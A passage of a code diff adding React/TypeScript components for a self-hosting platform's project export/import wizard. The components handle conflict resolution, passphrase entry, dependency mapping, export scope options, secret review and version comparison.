</Button>
)}
</DialogFooter>
</DialogContent>
</Dialog>
);
};
@@ -0,0 +1,252 @@
import { AlertTriangle, CheckCircle2, Loader2, XCircle } from "lucide-react";
import { AlertBlock } from "@/components/shared/alert-block";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { RequirementsList } from "./requirements-list";
type PendingService = {
serviceId: string;
serviceType: string;
reason: string;
};
export type ConflictSummary = {
kind: "domain" | "port" | "projectName" | "network";
value: string;
options: ("rename" | "skip" | "keep")[];
};
export type ConflictChoice = {
action: "rename" | "skip" | "keep";
value?: string;
};
type ValidationCheck = { check: string; ok: boolean; detail?: string };
type WarningSummary = {
code: string;
severity: "info" | "warning" | "blocking";
message: string;
affected?: { serviceName: string }[];
};
type PlanSummary = {
counts: Partial<Record<string, number>>;
domains: number;
dumps: number;
};
const CONFLICT_LABELS: Record<ConflictSummary["kind"], string> = {
domain: "Domain",
port: "Published port",
projectName: "Project name",
network: "Network",
};
const OPTION_LABELS: Record<
ConflictSummary["kind"],
Partial<Record<ConflictChoice["action"], string>>
> = {
domain: { rename: "Use another host", skip: "Import disabled" },
port: {
rename: "Publish on another port",
skip: "Don't publish",
keep: "Publish anyway",
},
projectName: { rename: "Import under another name" },
network: {
keep: "Attach to the existing network",
rename: "Create with another name",
skip: "Don't attach",
},
};
export const conflictKey = (conflict: ConflictSummary) =>
`${conflict.kind}:${conflict.value}`;
const ConflictRow = ({
conflict,
choice,
onChange,
}: {
conflict: ConflictSummary;
choice: ConflictChoice;
onChange: (choice: ConflictChoice) => void;
}) => (
<div className="grid gap-2 rounded-md border p-2 text-xs sm:grid-cols-[minmax(0,1fr)_200px_180px] sm:items-center">
<div className="flex items-start gap-2">
<AlertTriangle className="mt-0.5 h-3.5 w-3.5 shrink-0 text-yellow-500" />
<span>
<span className="text-muted-foreground">
{CONFLICT_LABELS[conflict.kind]}{" "}
</span>
<span className="font-mono">{conflict.value}</span>
<span className="text-muted-foreground"> already exists</span>
</span>
</div>
<Select
value={choice.action}
onValueChange={(action) =>
onChange({
action: action as ConflictChoice["action"],
value: action === "rename" ? choice.value : undefined,
})
}
>
<SelectTrigger className="h-8 text-xs">
<SelectValue />
</SelectTrigger>
<SelectContent>
{conflict.options.map((option) => (
<SelectItem key={option} value={option}>
{OPTION_LABELS[conflict.kind][option] ?? option}
</SelectItem>
))}
</SelectContent>
</Select>
{choice.action === "rename" ? (
<Input
className="h-8 text-xs"
value={choice.value ?? ""}
placeholder={conflict.kind === "port" ? "e.g. 8081" : "New value"}
onChange={(e) => onChange({ action: "rename", value: e.target.value })}
/>
) : (
<span />
)}
</div>
);
interface ImportSummaryProps {
summary?: PlanSummary;
pendingServices?: PendingService[];
warnings?: WarningSummary[];
conflicts?: ConflictSummary[];
conflictChoices: Record<string, ConflictChoice>;
onConflictChange: (key: string, choice: ConflictChoice) => void;
validation?: ValidationCheck[];
isValidating: boolean;
isLoading: boolean;
}
export const ImportSummary = ({
summary,
pendingServices,
warnings,
conflicts,
conflictChoices,
onConflictChange,
validation,
isValidating,
isLoading,
}: ImportSummaryProps) => {
if (isLoading) {
return <p className="text-sm text-muted-foreground">Building plan...</p>;
}
const totalResources = summary
? Object.values(summary.counts).reduce(
(sum: number, count) => sum + (count ?? 0),
0,
)
: 0;
const failing = (validation ?? []).filter((check) => !check.ok);
return (
<div className="space-y-4">
{summary && (
<div className="text-sm space-y-1">
<p className="font-medium">This import will create</p>
<p className="text-muted-foreground">
{totalResources} resource{totalResources === 1 ? "" : "s"},{" "}
{summary.domains} domain{summary.domains === 1 ? "" : "s"}
{summary.dumps > 0
? `, ${summary.dumps} database dump${summary.dumps === 1 ? "" : "s"} to restore`
: ""}
</p>
</div>
)}
{conflicts && conflicts.length > 0 && (
<div className="space-y-1">
<p className="text-sm font-medium">Conflicts ({conflicts.length})</p>
<div className="space-y-1 max-h-[200px] overflow-y-auto">
{conflicts.map((conflict) => {
const key = conflictKey(conflict);
return (
<ConflictRow
key={key}
conflict={conflict}
choice={
conflictChoices[key] ?? {
action: conflict.options[0] ?? "skip",
}
}
onChange={(choice) => onConflictChange(key, choice)}
/>
);
})}
</div>
</div>
)}
<div className="space-y-1">
<p className="text-sm font-medium flex items-center gap-2">
Destination checks
{isValidating && <Loader2 className="h-3.5 w-3.5 animate-spin" />}
</p>
{!isValidating && validation && validation.length === 0 && (
<p className="text-xs text-muted-foreground">Nothing to check.</p>
)}
{validation && validation.length > 0 && (
<div className="space-y-1 max-h-[160px] overflow-y-auto">
{validation.map((check) => (
<div key={check.check} className="flex items-start gap-2 text-xs">
{check.ok ? (
<CheckCircle2 className="mt-0.5 h-3.5 w-3.5 shrink-0 text-green-600" />
) : (
<XCircle className="mt-0.5 h-3.5 w-3.5 shrink-0 text-destructive" />
)}
<span className="font-mono">{check.check}</span>
{check.detail && (
<span className="text-muted-foreground">{check.detail}</span>
)}
</div>
))}
</div>
)}
{failing.length > 0 && (
<p className="text-xs text-destructive">
Fix the failing checks (or change the resolutions above) before
starting the import.
</p>
)}
</div>
{warnings && warnings.length > 0 && (
<RequirementsList warnings={warnings} />
)}
{pendingServices && pendingServices.length > 0 && (
<AlertBlock type="warning">
<p className="font-medium">
{pendingServices.length} service
{pendingServices.length === 1 ? "" : "s"} will not deploy until you
fix a missing dependency
</p>
{pendingServices.map((service) => (
<p key={service.serviceId} className="text-xs">
{service.serviceType}: {service.reason}
</p>
))}
</AlertBlock>
)}
</div>
);
};
@@ -0,0 +1,117 @@
import { Wand2 } from "lucide-react";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { generateRandomPassword } from "@/lib/password-utils";
export const MIN_PASSPHRASE_LENGTH = 12;
interface PassphraseFieldProps {
id: string;
label: string;
value: string;
onChange: (value: string) => void;
errorMessage?: string;
copyable?: boolean;
action?: React.ReactNode;
}
export const PassphraseField = ({
id,
label,
value,
onChange,
errorMessage,
copyable,
action,
}: PassphraseFieldProps) => (
<div className="grid gap-2">
<div className="flex items-center justify-between">
<Label htmlFor={id}>{label}</Label>
{action}
</div>
<Input
id={id}
type="password"
autoComplete="new-password"
data-1p-ignore
data-lpignore="true"
enableCopyButton={copyable}
value={value}
onChange={(e) => onChange(e.target.value)}
errorMessage={errorMessage}
/>
</div>
);
interface PassphraseFieldsProps {
value: string;
confirm: string;
onValueChange: (value: string) => void;
onConfirmChange: (value: string) => void;
}
export const isPassphraseValid = (value: string, confirm: string) =>
value.length >= MIN_PASSPHRASE_LENGTH && value === confirm;
export const PassphraseFields = ({
value,
confirm,
onValueChange,
onConfirmChange,
}: PassphraseFieldsProps) => (
<>
<AutofillDecoy />
<PassphraseField
id="passphrase"
label={`Passphrase (min. ${MIN_PASSPHRASE_LENGTH} characters)`}
value={value}
onChange={onValueChange}
copyable
errorMessage={
value.length > 0 && value.length < MIN_PASSPHRASE_LENGTH
? `Passphrase must be at least ${MIN_PASSPHRASE_LENGTH} characters`
: undefined
}
action={
<Button
type="button"
variant="ghost"
size="sm"
className="h-auto gap-1 px-2 py-1 text-xs"
onClick={() => {
const generated = generateRandomPassword(24);
onValueChange(generated);
onConfirmChange(generated);
}}
>
<Wand2 className="size-3" />
Generate
</Button>
}
/>
<PassphraseField
id="passphrase-confirm"
label="Confirm passphrase"
value={confirm}
onChange={onConfirmChange}
errorMessage={
confirm.length > 0 && confirm !== value
? "Passphrases don't match"
: undefined
}
/>
</>
);
export const AutofillDecoy = () => (
<input
type="text"
name="username"
autoComplete="username"
tabIndex={-1}
aria-hidden="true"
readOnly
className="sr-only"
/>
);
@@ -0,0 +1,158 @@
import { AlertTriangle, CheckCircle2, Info } from "lucide-react";
import { formatBytes } from "@/components/dashboard/database/backups/restore-backup";
type RequirementSummary = {
kind: string;
usedBy: { serviceName: string }[];
};
type WarningSummary = {
code: string;
severity: "info" | "warning" | "blocking";
message: string;
affected?: { serviceName: string }[];
};
const MAX_NAMES_SHOWN = 5;
type WarningGroup = WarningSummary & { names: string[] };
const groupWarnings = (warnings: WarningSummary[]): WarningGroup[] => {
const groups = new Map<string, WarningGroup>();
for (const warning of warnings) {
const key = `${warning.code}\n${warning.message}`;
const group = groups.get(key) ?? { ...warning, names: [] };
for (const usedBy of warning.affected ?? []) {
if (usedBy.serviceName && !group.names.includes(usedBy.serviceName)) {
group.names.push(usedBy.serviceName);
}
}
groups.set(key, group);
}
return Array.from(groups.values());
};
const formatNames = (names: string[]): string =>
names.length <= MAX_NAMES_SHOWN
? names.join(", ")
: `${names.slice(0, MAX_NAMES_SHOWN).join(", ")} and ${names.length - MAX_NAMES_SHOWN} more`;
interface RequirementsListProps {
inventory?: {
environments: unknown[];
totals: Partial<Record<string, number>>;
estimatedDumpBytes?: number;
estimatedFilesBytes?: number;
images?: { name: string; image: string }[];
};
requirements?: RequirementSummary[];
warnings?: WarningSummary[];
isLoading?: boolean;
}
const severityIcon = (severity: WarningSummary["severity"]) => {
if (severity === "blocking") {
return (
<AlertTriangle className="h-3.5 w-3.5 shrink-0 text-destructive mt-0.5" />
);
}
if (severity === "warning") {
return (
<AlertTriangle className="h-3.5 w-3.5 shrink-0 text-yellow-500 mt-0.5" />
);
}
return <Info className="h-3.5 w-3.5 shrink-0 text-muted-foreground mt-0.5" />;
};
export const RequirementsList = ({
inventory,
requirements,
warnings,
isLoading = false,
}: RequirementsListProps) => {
if (isLoading) {
return <p className="text-sm text-muted-foreground">Loading preview...</p>;
}
const totalResources = inventory
? Object.values(inventory.totals).reduce(
(sum: number, count) => sum + (count ?? 0),
0,
)
: 0;
return (
<div className="space-y-4">
{inventory && (
<div className="text-sm">
<p className="font-medium">Inventory</p>
<p className="text-muted-foreground">
{inventory.environments.length} environment
{inventory.environments.length === 1 ? "" : "s"}, {totalResources}{" "}
total resources
{inventory.estimatedDumpBytes || inventory.estimatedFilesBytes
? ` · about ${formatBytes(inventory.estimatedDumpBytes ?? 0)} of database data and ${formatBytes(inventory.estimatedFilesBytes ?? 0)} of files`
: ""}
</p>
{inventory.images && inventory.images.length > 0 && (
<p className="text-xs text-muted-foreground">
Images:{" "}
{inventory.images
.map((entry) => `${entry.name} (${entry.image})`)
.join(", ")}
</p>
)}
</div>
)}
{requirements && requirements.length > 0 && (
<div className="space-y-1">
<p className="text-sm font-medium">
External dependencies ({requirements.length})
</p>
<div className="space-y-1 max-h-[150px] overflow-y-auto">
{requirements.map((req, index) => (
<div key={index} className="flex items-center gap-2 text-xs">
<span className="rounded bg-muted px-1.5 py-0.5 font-mono">
{req.kind}
</span>
<span className="text-muted-foreground">
used by {req.usedBy.length} service
{req.usedBy.length === 1 ? "" : "s"}
</span>
</div>
))}
</div>
</div>
)}
{warnings && warnings.length > 0 && (
<div className="space-y-1">
<p className="text-sm font-medium">Warnings ({warnings.length})</p>
<div className="space-y-2 max-h-[150px] overflow-y-auto">
{groupWarnings(warnings).map((warning, index) => (
<div key={index} className="flex items-start gap-2 text-xs">
{severityIcon(warning.severity)}
<span className="text-muted-foreground">
{warning.names.length > 0 && (
<span className="font-medium text-foreground">
{formatNames(warning.names)}:{" "}
</span>
)}
{warning.message}
</span>
</div>
))}
</div>
</div>
)}
{requirements?.length === 0 && warnings?.length === 0 && (
<div className="flex items-center gap-2 text-sm text-muted-foreground">
<CheckCircle2 className="h-4 w-4" />
No external dependencies or warnings detected.
</div>
)}
</div>
);
};
@@ -0,0 +1,246 @@
import { Badge } from "@/components/ui/badge";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { CollapsibleSection } from "./collapsible-section";
type Requirement = {
kind: string;
originalId: string | null;
usedBy: { serviceName: string; environmentId: string }[];
[key: string]: unknown;
};
type ProposedResolution = {
status: "resolved" | "mappable" | "createable" | "missing";
targetId?: string;
candidates?: { id: string; name: string }[];
};
export type ResolutionChoice = {
requirementKey: string;
action: "reuse" | "create" | "skip";
targetId?: string;
};
interface ResolutionStepProps {
requirements: Requirement[];
resolutions: Record<string, ProposedResolution>;
choices: Record<string, ResolutionChoice>;
onChange: (key: string, choice: ResolutionChoice) => void;
}
const requirementKey = (requirement: Requirement): string =>
`${requirement.kind}:${requirement.originalId ?? "null"}`;
const requirementLabel = (requirement: Requirement): string => {
switch (requirement.kind) {
case "vault":
return `Vault "${requirement.providerName}"`;
case "gitProvider":
return `${requirement.providerType} git provider`;
case "destination":
return `Destination "${requirement.bucket}"`;
case "registry":
return `Registry "${requirement.registryUrl}"`;
case "sshKey":
return "SSH key";
case "network":
return `Network "${requirement.name}"`;
case "certificate":
return "Custom certificate";
case "server":
return "Server";
default:
return requirement.kind;
}
};
const statusBadge = (status: ProposedResolution["status"]) => {
switch (status) {
case "resolved":
return <Badge variant="green">resolved</Badge>;
case "mappable":
return <Badge variant="secondary">needs mapping</Badge>;
case "createable":
return <Badge variant="blue">will be created</Badge>;
case "missing":
return <Badge variant="destructive">missing</Badge>;
}
};
const defaultChoiceFor = (
key: string,
proposed: ProposedResolution | undefined,
): ResolutionChoice => {
if (!proposed) return { requirementKey: key, action: "skip" };
if (proposed.status === "resolved") {
return {
requirementKey: key,
action: "reuse",
targetId: proposed.targetId,
};
}
if (proposed.status === "createable") {
return { requirementKey: key, action: "create" };
}
return { requirementKey: key, action: "skip" };
};
export const defaultResolutionChoices = (
requirements: Requirement[],
resolutions: Record<string, ProposedResolution>,
): Record<string, ResolutionChoice> => {
const choices: Record<string, ResolutionChoice> = {};
for (const requirement of requirements) {
const key = requirementKey(requirement);
choices[key] = defaultChoiceFor(key, resolutions[key]);
}
return choices;
};
const RequirementRow = ({
requirement,
proposed,
choice,
onChange,
}: {
requirement: Requirement;
proposed: ProposedResolution | undefined;
choice: ResolutionChoice;
onChange: (choice: ResolutionChoice) => void;
}) => {
const key = requirementKey(requirement);
const candidates = proposed?.candidates ?? [];
return (
<div className="rounded-md border p-3 space-y-2">
<div className="flex items-center justify-between gap-2 flex-wrap">
<div className="flex items-center gap-2">
<span className="text-sm font-medium">
{requirementLabel(requirement)}
</span>
{proposed && statusBadge(proposed.status)}
</div>
{candidates.length > 0 && (
<Select
value={
choice.action === "skip"
? "__skip__"
: choice.action === "create"
? "__create__"
: (choice.targetId ?? "")
}
onValueChange={(value) => {
if (value === "__skip__" || value === "__create__") {
onChange({
requirementKey: key,
action: value === "__skip__" ? "skip" : "create",
});
return;
}
onChange({
requirementKey: key,
action: "reuse",
targetId: value,
});
}}
>
<SelectTrigger className="w-[220px]">
<SelectValue placeholder="Map to..." />
</SelectTrigger>
<SelectContent>
{"configIncluded" in requirement &&
requirement.configIncluded === true && (
<SelectItem value="__create__">Create from bundle</SelectItem>
)}
{candidates.map((candidate) => (
<SelectItem key={candidate.id} value={candidate.id}>
{candidate.name}
</SelectItem>
))}
<SelectItem value="__skip__">Skip (don't map)</SelectItem>
</SelectContent>
</Select>
)}
{candidates.length === 0 && proposed?.status === "createable" && (
<Select
value={choice.action}
onValueChange={(value) =>
onChange({
requirementKey: key,
action: value as "create" | "skip",
})
}
>
<SelectTrigger className="w-[220px]">
<SelectValue />
</SelectTrigger>
<SelectContent>
<SelectItem value="create">Create from bundle</SelectItem>
<SelectItem value="skip">Skip</SelectItem>
</SelectContent>
</Select>
)}
{candidates.length === 0 && proposed?.status === "missing" && (
<span className="text-xs text-muted-foreground">
Nothing to map: services using it won't deploy
</span>
)}
</div>
{requirement.usedBy.length > 0 && (
<CollapsibleSection
triggerClassName="flex items-center gap-1 text-xs text-muted-foreground"
contentClassName="pl-4 pt-1 space-y-0.5"
title={`Used by ${requirement.usedBy.length} service${requirement.usedBy.length === 1 ? "" : "s"}`}
>
{requirement.usedBy.map((usedBy, index) => (
<p key={index} className="text-xs text-muted-foreground">
{usedBy.serviceName}
</p>
))}
</CollapsibleSection>
)}
</div>
);
};
export const ResolutionStep = ({
requirements,
resolutions,
choices,
onChange,
}: ResolutionStepProps) => {
if (requirements.length === 0) {
return (
<p className="text-sm text-muted-foreground">
This bundle has no external dependencies to resolve.
</p>
);
}
return (
<div className="space-y-3 max-h-[45vh] overflow-y-auto">
{requirements.map((requirement) => {
const key = requirementKey(requirement);
return (
<RequirementRow
key={key}
requirement={requirement}
proposed={resolutions[key]}
choice={choices[key] ?? defaultChoiceFor(key, resolutions[key])}
onChange={(choice) => onChange(key, choice)}
/>
);
})}
</div>
);
};
@@ -0,0 +1,406 @@
import { Info } from "lucide-react";
import type { ReactNode } from "react";
import { Checkbox } from "@/components/ui/checkbox";
import { Label } from "@/components/ui/label";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/ui/tooltip";
type ServiceRow = {
name: string;
applicationStatus?: string | null;
composeStatus?: string | null;
};
export type ProjectEnvironment = {
environmentId: string;
name: string;
applications: (ServiceRow & {
applicationId: string;
sourceType?: string | null;
})[];
compose: (ServiceRow & { composeId: string })[];
postgres: (ServiceRow & { postgresId: string })[];
mysql: (ServiceRow & { mysqlId: string })[];
mariadb: (ServiceRow & { mariadbId: string })[];
mongo: (ServiceRow & { mongoId: string })[];
redis: (ServiceRow & { redisId: string })[];
libsql: (ServiceRow & { libsqlId: string })[];
};
const SERVICE_KIND_FIELDS = [
{ key: "applications", idField: "applicationId" },
{ key: "compose", idField: "composeId" },
{ key: "postgres", idField: "postgresId" },
{ key: "mysql", idField: "mysqlId" },
{ key: "mariadb", idField: "mariadbId" },
{ key: "mongo", idField: "mongoId" },
{ key: "redis", idField: "redisId" },
{ key: "libsql", idField: "libsqlId" },
] as const;
export type SharedResourceKind =
| "destination"
| "registry"
| "sshKey"
| "network"
| "certificate"
| "vaultProvider"
| "dnsProvider";
const SHARED_KINDS: SharedResourceKind[] = [
"destination",
"registry",
"sshKey",
"network",
"certificate",
"vaultProvider",
"dnsProvider",
];
const SHARED_KIND_LABELS: Record<SharedResourceKind, string> = {
destination: "Destination",
registry: "Registry",
sshKey: "SSH Key",
network: "Network",
certificate: "Certificate",
vaultProvider: "Vault Provider",
dnsProvider: "DNS Provider",
};
const SHARED_MODE_TOOLTIPS = {
value:
"Copies the resource itself (including its credentials) into the bundle, so importing it recreates a standalone copy even into an instance that doesn't already have a matching one.",
reference:
"Only records that this project depends on the resource, without copying its credentials. On import it's matched by name to one already in the destination instead of being duplicated.",
};
const DUMP_MODE_TOOLTIPS: Record<ScopeFormState["dumps"]["mode"], string> = {
none: "Exports only the service configuration, no data. Databases start empty after import.",
embed:
"Dumps each database right now and stores the dump inside the export file. Simple and self-contained, but large databases can make the bundle very large.",
referenceLastBackup:
"Doesn't include any data in the bundle. Instead it references the most recent successful scheduled backup at its destination and downloads it from there on import, requiring that destination to still be resolvable and a completed backup to exist.",
};
const DUMP_MODES = [
["none", "None (config only)"],
["embed", "Embed in bundle"],
["referenceLastBackup", "Reference last backup"],
] as const;
const InfoTooltip = ({ tooltip }: { tooltip: string }) => (
<Tooltip>
<TooltipTrigger asChild>
<Info className="size-3 text-muted-foreground" />
</TooltipTrigger>
<TooltipContent side="top" className="max-w-64">
{tooltip}
</TooltipContent>
</Tooltip>
);
const HelpLabel = ({
width,
tooltip,
children,
}: {
width: number;
tooltip: string;
children: ReactNode;
}) => (
<div className="flex items-center gap-1" style={{ width }}>
<Label className="text-xs text-muted-foreground">{children}</Label>
<InfoTooltip tooltip={tooltip} />
</div>
);
export type ScopeFormState = {
environmentIds: string[];
serviceIds: string[];
includeEnvSecrets: boolean;
shared: Partial<Record<SharedResourceKind, "value" | "reference">>;
files: {
applicationSources: boolean;
composeFiles: boolean;
traefikRaw: boolean;
customCertificates: boolean;
};
dumps: { mode: "embed" | "referenceLastBackup" | "none" };
};
export const allServiceIdsOf = (env: ProjectEnvironment): string[] =>
SERVICE_KIND_FIELDS.flatMap(({ key, idField }) =>
(env[key] as Record<string, unknown>[]).map(
(service) => service[idField] as string,
),
);
const sortedServicesOf = (env: ProjectEnvironment) =>
SERVICE_KIND_FIELDS.flatMap(({ key, idField }) =>
(env[key] as Record<string, unknown>[]).map((service) => ({
id: service[idField] as string,
name: (service.name as string) || (service[idField] as string),
kind: key,
stopped: (service.applicationStatus ?? service.composeStatus) === "idle",
})),
).sort((a, b) => a.name.localeCompare(b.name));
export const hasDropSourceInScope = (
environments: ProjectEnvironment[],
serviceIds: string[],
): boolean =>
environments.some((env) =>
env.applications.some(
(app) =>
app.sourceType === "drop" && serviceIds.includes(app.applicationId),
),
);
export const defaultScopeFormState = (
environments: ProjectEnvironment[],
): ScopeFormState => ({
environmentIds: environments.map((env) => env.environmentId),
serviceIds: environments.flatMap(allServiceIdsOf),
includeEnvSecrets: true,
shared: {
destination: "value",
registry: "value",
sshKey: "value",
network: "value",
certificate: "value",
dnsProvider: "value",
vaultProvider: "reference",
},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
});
interface ScopeFormProps {
section: "selection" | "options";
environments: ProjectEnvironment[];
value: ScopeFormState;
onChange: (next: ScopeFormState) => void;
}
export const ScopeForm = ({
section,
environments,
value,
onChange,
}: ScopeFormProps) => {
if (section === "selection") {
return (
<div className="space-y-4 max-h-[50vh] overflow-y-auto">
{environments.map((env) => {
const envServiceIds = allServiceIdsOf(env);
const envChecked = value.environmentIds.includes(env.environmentId);
return (
<div
key={env.environmentId}
className="rounded-md border p-3 space-y-2"
>
<div className="flex items-start gap-2">
<Checkbox
className="mt-0.5"
checked={envChecked}
onCheckedChange={(checked) => {
const isChecked = checked === true;
onChange({
...value,
environmentIds: isChecked
? [...value.environmentIds, env.environmentId]
: value.environmentIds.filter(
(id) => id !== env.environmentId,
),
serviceIds: isChecked
? Array.from(
new Set([...value.serviceIds, ...envServiceIds]),
)
: value.serviceIds.filter(
(id) => !envServiceIds.includes(id),
),
});
}}
/>
<span className="font-medium">{env.name}</span>
<span className="text-xs text-muted-foreground">
({envServiceIds.length} service
{envServiceIds.length === 1 ? "" : "s"})
</span>
</div>
{envChecked && (
<div className="ml-6 space-y-1">
{sortedServicesOf(env).map(({ id, name, kind, stopped }) => {
const checked = value.serviceIds.includes(id);
return (
<div key={id} className="flex items-start gap-2">
<Checkbox
className="mt-0.5"
checked={checked}
onCheckedChange={(next) => {
const isChecked = next === true;
onChange({
...value,
serviceIds: isChecked
? [...value.serviceIds, id]
: value.serviceIds.filter(
(existing) => existing !== id,
),
});
}}
/>
<span className="text-sm">{name}</span>
<span className="text-xs text-muted-foreground">
({kind}
{stopped ? ", stopped" : ""})
</span>
</div>
);
})}
</div>
)}
</div>
);
})}
</div>
);
}
const dropForced = hasDropSourceInScope(environments, value.serviceIds);
return (
<div className="space-y-6">
<div className="flex items-start gap-2">
<Checkbox
className="mt-0.5"
checked={value.includeEnvSecrets}
onCheckedChange={(checked) =>
onChange({ ...value, includeEnvSecrets: checked === true })
}
/>
<Label>
Include environment variable values (encrypted with the passphrase)
</Label>
</div>
<div className="space-y-2">
<Label>Shared resources</Label>
<div className="space-y-1">
<div className="grid grid-cols-[minmax(0,1fr)_auto] items-center gap-2 px-1">
<span />
<div className="flex gap-4">
<HelpLabel width={76} tooltip={SHARED_MODE_TOOLTIPS.value}>
Value
</HelpLabel>
<HelpLabel width={90} tooltip={SHARED_MODE_TOOLTIPS.reference}>
Reference
</HelpLabel>
</div>
</div>
{SHARED_KINDS.map((kind) => (
<div
key={kind}
className="grid grid-cols-[minmax(0,1fr)_auto] items-center gap-2 rounded-md px-1 py-1"
>
<span className="text-sm">{SHARED_KIND_LABELS[kind]}</span>
<RadioGroup
value={value.shared[kind] ?? "reference"}
onValueChange={(next) =>
onChange({
...value,
shared: {
...value.shared,
[kind]: next as "value" | "reference",
},
})
}
className="flex gap-4"
>
<div className="flex w-[76px] items-center">
<RadioGroupItem
value="value"
id={`${kind}-value`}
aria-label={`${SHARED_KIND_LABELS[kind]}: ${SHARED_MODE_TOOLTIPS.value}`}
/>
</div>
<div className="flex w-[90px] items-center">
<RadioGroupItem
value="reference"
id={`${kind}-reference`}
aria-label={`${SHARED_KIND_LABELS[kind]}: ${SHARED_MODE_TOOLTIPS.reference}`}
/>
</div>
</RadioGroup>
</div>
))}
</div>
</div>
<div className="space-y-2">
<Label>Files</Label>
{(
[
["applicationSources", "Application sources"],
["composeFiles", "Compose files"],
["traefikRaw", "Traefik dynamic config"],
["customCertificates", "Custom certificates"],
] as const
).map(([key, label]) => {
const forced = key === "applicationSources" && dropForced;
return (
<div key={key} className="flex items-start gap-2">
<Checkbox
className="mt-0.5"
checked={forced || value.files[key]}
disabled={forced}
onCheckedChange={(checked) =>
onChange({
...value,
files: { ...value.files, [key]: checked === true },
})
}
/>
<Label className="text-sm">{label}</Label>
{forced && (
<InfoTooltip tooltip="Required: at least one selected application was uploaded as a zip (drop source), so its code only exists in these files." />
)}
</div>
);
})}
</div>
<div className="space-y-2">
<Label>Database dumps</Label>
<RadioGroup
value={value.dumps.mode}
onValueChange={(next) =>
onChange({
...value,
dumps: { mode: next as ScopeFormState["dumps"]["mode"] },
})
}
className="space-y-1"
>
{DUMP_MODES.map(([mode, label]) => (
<div key={mode} className="flex items-center gap-2">
<RadioGroupItem value={mode} id={`dumps-${mode}`} />
<Label htmlFor={`dumps-${mode}`} className="text-sm">
{label}
</Label>
<InfoTooltip tooltip={DUMP_MODE_TOOLTIPS[mode]} />
</div>
))}
</RadioGroup>
</div>
</div>
);
};
@@ -0,0 +1,124 @@
import { Eye, RefreshCcw } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { generateRandomPassword } from "@/lib/password-utils";
import { api } from "@/utils/api";
import { CollapsibleSection } from "./collapsible-section";
const KIND_LABELS = {
basicAuth: "Basic auth",
registry: "Registry",
destination: "Destination",
sshKey: "SSH key",
certificate: "Certificate",
} as const;
interface SecretsReviewProps {
importId: string;
overrides: Record<string, string>;
onChange: (secretId: string, value: string | undefined) => void;
}
export const SecretsReview = ({
importId,
overrides,
onChange,
}: SecretsReviewProps) => {
const [revealed, setRevealed] = useState<Record<string, string>>({});
const { data: secrets } = api.projectExportImport.importSecrets.useQuery({
importId,
});
const { mutateAsync: reveal } =
api.projectExportImport.importSecretReveal.useMutation({
onError: (error) => toast.error(error.message),
});
if (!secrets || secrets.length === 0) return null;
const handleReveal = async (secretId: string) => {
try {
const { value } = await reveal({ importId, secretId });
setRevealed((prev) => ({ ...prev, [secretId]: value }));
} catch {}
};
return (
<CollapsibleSection
className="border-t pt-4"
title={`Review secrets (${secrets.length})`}
>
<p className="text-xs text-muted-foreground">
These credentials belong to systems outside Dokploy and are imported as
they were exported. Reveal one to check it, or replace it before
importing.
</p>
{secrets.map((secret) => {
const override = overrides[secret.secretId];
return (
<div
key={secret.secretId}
className="grid gap-2 rounded-md border p-2 text-xs sm:grid-cols-[minmax(0,1fr)_minmax(0,1fr)_auto] sm:items-center"
>
<div className="min-w-0">
<span className="text-muted-foreground">
{KIND_LABELS[secret.kind]}{" "}
</span>
<span className="font-medium">{secret.resource}</span>
<span className="text-muted-foreground"> · {secret.field}</span>
</div>
<Input
className="h-8 font-mono text-xs"
type={
override !== undefined || revealed[secret.secretId]
? "text"
: "password"
}
value={override ?? revealed[secret.secretId] ?? ""}
placeholder="••••••••••••"
onChange={(e) => onChange(secret.secretId, e.target.value)}
/>
<div className="flex gap-1">
<Button
type="button"
variant="ghost"
size="sm"
className="h-8 px-2"
onClick={() => handleReveal(secret.secretId)}
title="Reveal"
>
<Eye className="h-3.5 w-3.5" />
</Button>
{secret.generatable && (
<Button
type="button"
variant="ghost"
size="sm"
className="h-8 px-2"
onClick={() =>
onChange(secret.secretId, generateRandomPassword(20))
}
title="Generate a new value"
>
<RefreshCcw className="h-3.5 w-3.5" />
</Button>
)}
{override !== undefined && (
<Button
type="button"
variant="ghost"
size="sm"
className="h-8 px-2"
onClick={() => onChange(secret.secretId, undefined)}
>
Reset
</Button>
)}
</div>
</div>
);
})}
</CollapsibleSection>
);
};
@@ -0,0 +1,24 @@
import { Progress } from "@/components/ui/progress";
interface TransferProgressProps {
verb: "Export" | "Import";
job?: { status: string; message?: string; error?: string };
failed: boolean;
done: boolean;
}
export const TransferProgress = ({
verb,
job,
failed,
done,
}: TransferProgressProps) => (
<div className="space-y-2">
<Progress value={done || failed ? 100 : job ? 60 : 20} />
<p className="text-sm text-muted-foreground">
{failed
? `${verb} failed: ${job?.error}`
: (job?.message ?? `Starting ${verb.toLowerCase()}...`)}
</p>
</div>
);
@@ -0,0 +1,64 @@
type SourceVersions = {
dokployVersion: string;
releaseTag?: string;
isCloud?: boolean;
traefikVersion?: string;
dockerVersions?: Record<string, string>;
};
type DestinationVersions = {
dokployVersion: string;
releaseTag: string;
isCloud: boolean;
traefikVersion: string;
};
const kindLabel = (isCloud: boolean | undefined) =>
isCloud === undefined ? "unknown" : isCloud ? "Dokploy Cloud" : "Self-hosted";
const dockerLabel = (versions: Record<string, string> | undefined) => {
if (!versions) return "unknown";
const distinct = [...new Set(Object.values(versions))];
return distinct.length > 0 ? distinct.join(", ") : "unknown";
};
export const VersionsTable = ({
versions,
}: {
versions: { source: SourceVersions; destination: DestinationVersions };
}) => {
const { source, destination } = versions;
const rows: [string, string, string][] = [
["Dokploy", source.dokployVersion, destination.dokployVersion],
["Release tag", source.releaseTag ?? "unknown", destination.releaseTag],
["Instance", kindLabel(source.isCloud), kindLabel(destination.isCloud)],
["Traefik", source.traefikVersion ?? "unknown", destination.traefikVersion],
["Docker (source servers)", dockerLabel(source.dockerVersions), "n/a"],
];
return (
<div className="rounded-md border">
<table className="w-full text-xs">
<thead className="text-muted-foreground">
